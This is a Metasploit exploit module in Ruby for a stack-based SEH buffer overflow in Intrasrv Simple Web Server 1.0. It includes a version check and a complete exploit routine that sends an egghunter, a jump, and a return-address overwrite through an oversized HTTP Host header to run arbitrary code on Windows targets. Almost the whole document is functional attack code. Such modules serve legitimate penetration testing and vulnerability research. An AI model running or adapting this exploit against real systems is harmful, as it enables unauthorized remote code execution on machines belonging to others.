Intrasrv 1.0 – Remote Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Egghunter def initialize(info={}) super(update_info(info, 'Name' => "Intrasrv 1.0 Buffer Overflow", 'Description' => %q{ This module exploits a boundary condition error in Intrasrv Simple Web Server 1.0. The web interface does not validate the boundaries of an HTTP request string prior to copying the data to an insufficiently large buffer. Successful exploitation leads to arbitrary remote code execution in the context of the application. }, 'License' => MSF_LICENSE, 'Author' => [ 'xis_one', # Discovery, PoC 'PsychoSpy <neinwechter[at]gmail.com>' # Metasploit ], 'References' => [ ['OSVDB', '94097'], ['EDB','18397'], ['BID','60229'] ], 'Payload' => { 'Space' => 4660, 'StackAdjustment' => -3500, 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "thread" }, 'Platform' => 'win', 'Targets' => [ ['v1.0 - XP / Win7', { 'Offset' => 1553, 'Ret' => 0x004097dd #p/p/r - intrasrv.exe } ] ], 'Privileged' => false, 'DisclosureDate' => "May 30 2013", 'DefaultTarget' => 0)) register_options( [ OptPort.new('RPORT', [true, 'The remote port', 80]) ], self.class) end def check begin connect rescue print_error("Could not connect to target!") return Exploit::CheckCode::Safe end sock.put("GET / HTTP/1.0\r\n\r\n") res = sock.get_once if res =~ /intrasrv 1.0/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def exploit # setup egghunter hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum=>true }) # setup buffer buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128 buf << hunter # egghunter buf << rand_text(target['Offset']-buf.length) # more junk to offset buf << "\xeb\x80" + rand_text(2) # nseh - jmp -128 to egghunter buf << [target.ret].pack("V*") # seh # second last byte of payload/egg gets corrupted - pad 2 bytes # so we don't corrupt the actual payload egg << rand_text(2) print_status("Sending buffer...") # Payload location is an issue, so we're using the tcp mixin # instead of HttpClient here to maximize control over what's sent. # (i.e. no additional headers to mess with the stack) connect sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n\r\n#{egg}\r\n\r\n") disconnect end end |